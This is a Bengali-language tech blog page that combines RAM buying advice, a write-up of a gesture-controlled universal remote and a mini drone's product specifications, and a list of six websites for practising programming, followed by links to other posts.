র‍্যামের গুরুত্ব হয়তো বুঝতে পেরেছেন। তাই বলে রাখি বেশি RAM যুক্ত ফোন কিনুন। এতে আপনার ক্ষতি নাই বরং লাভের পাল্লা বেশি। আশা করি বুঝতে পেরেছেন। র‍্যাম নিয়ে যা যা জানা আপনার প্রয়োজন তা জানানোর চেষ্টা করেছি। চেষ্টা করেছি র‍্যাম নিয়ে সকল ছোট ছোট বিষয় গুলো তুলে ধরবার। যে কোন ধরণের হেল্পের জন্য আমাদের ফেসবুক গ্রুপে জয়েন করতে পারেন। আমাদের গ্রুপের লিংক

 

টেক নিউজ

২০১৯ সালের সেরা ২টি গ্যাজেট

 

অনেক মানুষ আছে যারা পোষা  প্রানী হিসাবে বিড়াল ,কুকুর পোষে থাকেন । কিন্তু  IndieGoGo নামক কম্পানিটি সব জাইগায় প্রচার করতেছে পোষা প্রানি হিসাবে ভাল্লুক কে বেছে নিতে ।  এটা কোন সাধারন ভাল্লুক নয় , Vivien Muller এর  ইনভেনশন করা এই  গ্যাজেট এর নাম bearBooT । এটি  আমাদের প্রতিদিনের জ়ীবন কে করে দেবে আরো সহজ , যাই হোক কথা না বারিয়ে  সবার প্রথমে bearboot এর ব্যবহার সম্পর্কে  বলা  যাক।

 

Bearboot   আসোলে একটি ইউনির্ভাসাল রিমোট , এই রিমোট কে আপনার আশে পাশের সব  ইলেকট্টোনিক্স ডিভাইসের সাথে কানেক্ট করাতে পারবেন । যেমন এসি, লাইট, টিভি বা অন্য যেকোন কিছুর সাথে ডিভাইসটি কানেক্ট  করাতে পারবেন এবং এটির ব্যবহার করতে পারবেন হাতের ইশারায় ।

 

Bearboot তার 3D (gesture) সেন্সরের সাহায্যে 9 টি অঙ্গভঙ্গি বোঝার জন্য প্রোগ্রাম করা হয়েছে। প্রতিটি হাতের সংকেত দিয়ে এক বা একাধিক কাজ
করতে পারবেন এই ইউনির্ভাসাল রিমোট এর সাহায্যে । উদাহরণস্বরূপ, আপনি হাতের একটি অঙ্গভঙ্গি সেট করতে পারেন যা bearboot কে ইশারা করলে
ডিভাইসটি একাই আপনার টিভি চালু করে দেবে বা আপনার রুম এর লাইট জালিয়ে দেবে অথবা আপনার মিউজিক সিস্টেম চালু করে দেবে।

 

Teaching Bearbot

Bearbot এর জন্য google play store এ একটি আপ্লিকেশন আছে যা ব্দারা আপনি যেকোন ইশারাকে কমান্ড হিসাবে সেট করতে পারবেন । আপনি Bearbot কে কী ডিভাইসগুলি নিয়ন্ত্রণ করতে  কোন পদক্ষেপ নিতে হয় তা শেখাতে পারেন।

 

 

মাইক্রো ড্রোন ২০১৯

ড্রোন
ড্রোন

গ্লোবাল ড্রোন  GW009C-1S মিনি ড্রোন  যার সাথে আছে  এইচডি ক্যামেরা  এবং চতুর্ভুজ প্যাক উচ্চতা হোল্ড  হেলিকপ্টার ড্রোন  যেটা  অন্য নাম   মাইক্রো ড্রোন বা  Quadcopter বলা যেতে পারে।

 

পণ্যের বৈশিষ্ট্য
ব্র্যান্ড: গ্লোবাল ড্রোন

বৈশিষ্ট্য: রিমোট কন্ট্রোল 
টাইপ: হেলিকপ্টার 
প্যাকেজগুলির সামগ্রী: রিমোট কন্ট্রোল, ব্যাটারি, মূল বক্স, ব্যবহারকারী ম্যানুয়াল, ইউএসবি তারের, ক্যামেরা 
চার্জিং সময়: প্রায় 30 মিনিট 
নিবন্ধ: GW009C-1SENGINE 
প্রকার: ব্রাশের মোটর অ্যাকশন 
সময়: 5-7 মিনিট 
ওয়্যারেন্টি: NoPlug প্র
কার: USBDimensions : 10.2 * 10.2 * 4.5 সেমি ব্যাটারী কন্ট্রোলার: 2 * 1.5 ভি এএ ব্যাটারী (অন্তর্ভুক্ত নয়) 
সমাবেশ স্থিতি: ব্যবহারের জন্য প্রস্তুত 
অ্যাজ রেঞ্জ: প্রাপ্তবয়স্ক, 12-15 বছর,> 8 বছর বয়সী,> 14 বছর বয়সী, 8-11 বছর 
উপাদান: ধাতু , প্লাস্টিকের দূরত্ব: প্রায় 70 ~ 100 মিটার ভোল্টেজ চার্জিং: 3.7 ভি রিমোট কন্ট্রোল: হ্যাঁ কন্ট্রোল 
চ্যানেলস: 4 চ্যানেলগুলি আয়ারিয়াল ফটোগ্রাফি: হ্যাঁ পাওয়ার 
উত্স: বৈদ্যুতিক কন্ট্রোলার 
মোড: মোড 2 
সতর্কতা: ছোট অংশ রয়েছে। আকারের আকার: 10.2 * 10.2 * 4.5
সেমিটাইপ: মিনি 2.4 জি 4CHFunction: উড়ন্ত এবং একটি beeHD ক্যামেরা হিসাবে overturn 
নিচে: সমর্থন সহজ নিয়ন্ত্রণ ড্রোন: হ্যাঁ 
বৈশিষ্ট্য: প্রতিরোধী ছিনতাই

 

 

 

 

 

প্রোগ্রামিং

৬ টি সেরা ওয়েবসাইট প্রোগ্রামিং দক্ষতা বাড়ানোর জন্য

প্রোগ্রামিং দক্ষতা বাড়ানোর জন্য আজ আমি আপনাদের নিয়ে এসেছি ৬ টি সেরা ওয়েব সাইট। যেগুলো আপনার কোডিং স্কিল কে বাড়িয়ে দিবে আরো বহু গুণ। এই সাইট গুলো ব্যবহার করলে আপনি বাড়াতে পারবেন আপনার প্রোগ্রামিং দক্ষতা। তাহলে চলুন শুরু করি আমাদের আলোচনা।

1. Coderbyte

প্রোগ্রামিং দক্ষতা
প্রোগ্রামিং দক্ষতা

কোডার বাইট এটাকে অনলাইন এর কোডিং মাফিয়া বলতে পারেন। কোডার বাইট ১০ টি ভিন্ন ভিন্ন প্রোগ্রামিং ল্যাঙ্গুয়েজে ২০০ টিরও বেশি ধরণের প্রোগ্রামিং চেলেঞ্জ দিয়ে থাকে। এই ওয়েবসাইট টি সম্পূর্ণ অনলাইন নির্ভর সার্ভিস দিয়ে থাকে। সব থেকে বড় কথা এই ওয়েবসাইট টি এখন পর্যন্ত ৮ লক্ষের মত প্রোগ্রামিং সমস্যার সমাধান দিয়েছে। এটা আপনার প্রোগ্রামিং দক্ষতা বাড়িয়ে দিবে অনেক গুনে।

2. Codewars

কোডিং দক্ষতা
প্রোগ্রামিং দক্ষতা

কোড ওয়্যার হচ্ছে কোডার বাইটের মতই সম্পূর্ণ অনলাইন নির্ভর সার্ভিস দিয়ে থাকে। এরা এখানে প্রোগ্রামারদের জন্য অনেক ধরনের চেলেঞ্জ দিয়ে থাকে। কোড ওয়্যার তাদের ওয়েব সাইটে মোট ২০ ধরণের প্রোগ্রামিং ল্যাঙ্গুয়েজ শিখিয়ে থাকে। এদের সব থেকে বড় বিষয়, এরা একটা কমিউনিটি গরে তুলেছে প্রোগ্রামারদের নিয়ে। আপনার যদি কোন সম্যসা হয়, সেটা যদি কমিউনিটিতে বলেন তাহলে আপনার সমস্যার একটা সমাধান তারা দিয়ে দিবে। ঠিক একই ভাবে অন্য জন যদি কোন সম্যসাই পরে যায়, সেটার সলুশন যদি আপনার কাছে থাকে। আপনিও তাকে হেল্প করতে পারবেন। এই সব কারণে তারা পয়েন্ট সিস্টেম রেখেছে তাদের ওয়েবসাইটে, আপনার পয়েন্ট যত বেশি হবে। আপনার র‍্যাঙ্ক তত বৃদ্ধি পাবে। এটা আপনার প্রোগ্রামিং দক্ষতা বাড়িয়ে দিবে অনেক গুনে।

3. CodeFights

কোডিং দক্ষতা
প্রোগ্রামিং দক্ষতা

Codefight হচ্ছে এমন একটা যেখানে আপনি আপনার চ্যালেঞ্জ  উপস্থাপন করার পাশাপাশি তাদের ফোরামে বিস্তারিত ভাবে সকল বিষয় নিয়ে আলোচনা করতে পারবেন। তাদের Company Bot নামে একটা অপশন রয়েছে, যেখানে আপনি বোটের জন্য কোড করতে পারবেন। বলতে পারেন আগের ২ টার থেকে এটা কিছুটা  অন্য ধরণের। এটা আপনার প্রোগ্রামিং দক্ষতা বাড়িয়ে দিবে অনেক গুনে। 

4. CodingGame

কোডিং দক্ষতা
প্রোগ্রামিং দক্ষতা

আগের গুলোর থেকে এটা সম্পূর্ণ ভিন্ন। এই সাইটা আপনাকে গেম খেলার মত সুযোগ করে দিবে। এরা আপনার সামনে গেম দিবে যেটা আপনি এদের সাইট থেকেই খেলতে পারবেন। কিন্তু আপনাকে গেমটি খেলতে হলে গেমের ভেতরের কিছু অংশ আপনাকে নিজে থেকে কোড করে বসিয়ে দিতে হবে। কিন্তু এরা আপনাকে হিন্ট দিয়ে দিবে। সাথে এদের গেমের ইন্টার ফেস টাও খুব সুন্দর। আপনি যদি উপরের সাইট গুলো ব্যবহার করতে করতে বা আপনার কম্পিউটারে কোডিং করতে করতে অলস হয়ে পরেন। তবে আপনি এই সাইটি একবার ব্যবহার করে দেখতে পারেন। খুব মজা পাবেন সাথে আপনার প্রোগ্রামিং দক্ষতাও বেড়ে যাবে। এটা আপনার প্রোগ্রামিং দক্ষতা বাড়িয়ে দিবে অনেক গুনে।

5. TopCoder

প্রোগ্রামিং দক্ষতা
প্রোগ্রামিং দক্ষতা

TopCoder হচ্ছে এমন একটা ওয়েব সাইট যেখানে আপনি অ্যালগারিদম ভিত্তিক প্রোগ্রামিং কোড প্রাকটিস করতে পারবেন। এটা হচ্ছে প্রথম অ্যালগারিদম ভিত্তিক কোডিং প্লাটর্ফম। এখানে আপনি অন্যান্য প্রোগ্রামারদের সাথে প্রতিযোগিতে করতে পারবেন। আপনি যদি বিজয়ী হতে পারেন তাহলে তাহলে এরা প্রোগ্রামারকে পুরষ্কিত করে। এটা আপনার প্রোগ্রামিং দক্ষতা বাড়িয়ে দিবে অনেক গুনে।

6. HackerRank

কোডিং দক্ষতা
প্রোগ্রামিং দক্ষতা

HackerRank প্রধানত  বিশেষ ভাবে বানানো হয়েছে কম্পিউটার সায়েন্সের ছাত্রদের জন্য। তাই এখানে প্রধানত Algorithms, mathematics, SQL, Algorithms, Mathematics, SQL, Functional Programming, AI এই সব গুলোর কোডিং প্রেক্টিস করা  হয়। এটা আপনার প্রোগ্রামিং দক্ষতা বাড়িয়ে দিবে অনেক গুনে।

 

Latest From:

কিভাবে আইফোন, আইপ্যাড, এবং ম্যাক এর গেম সেন্টার ডিজেবল করবেন?

কিভাবে আইফোন, আইপ্যাড, এবং ম্যাক এর গেম সেন্টার ডিজেবল করবেন? কেমন আছেন সবাই? আজ আবারও আরেকটি টিউটোরয়াল নিয়ে হাজির হলাম আপনাদের কাছে । আজ আমি...
Latest From:

অ্যান্ড্রোয়েডের অজানা ৭ টি ফ্যাক্ট

আপনি যদি একজন Android ব্যবহারকারী হয়ে থাকেন, তবে android এর কিছু মজার বিষয় আপনার জানা দরকার। Android এর এমন কিছু ফ্যাক্ট রয়েছে যা আপনি জানেন...
Latest From:

নতুন টেকনলজি ফ্লাইং কার এর আবিষ্কার

নতুন টেকনলজি ফ্লাইং কার এর আবিষ্কার ভবিষ্যতের প্রযুক্তির ক্ষেত্রে সব থেকে বেশি গবেষনা করা হচ্ছে পরিবহন ব্যবস্থা নিয়ে হাইপার লুক অথবা ইলেক্ট্রিক কার এর সাথে...
Latest From:

ফেসবুক ফ্রি এড এর আদ্যপ্রান্ত, চলুন দেখি কি আছে এর মাঝে

মহা জ্ঞ্যানী, মহা পাপী কিছু বান্দা আছে, যারা ফেসবুকে ফ্রি এড চালিয়ে নিজেকে সুপারম্যান ভেবে থাকে। যেমন আমি 😎, এই কথা শোনার পরে আপনার মনে...
Add your widget here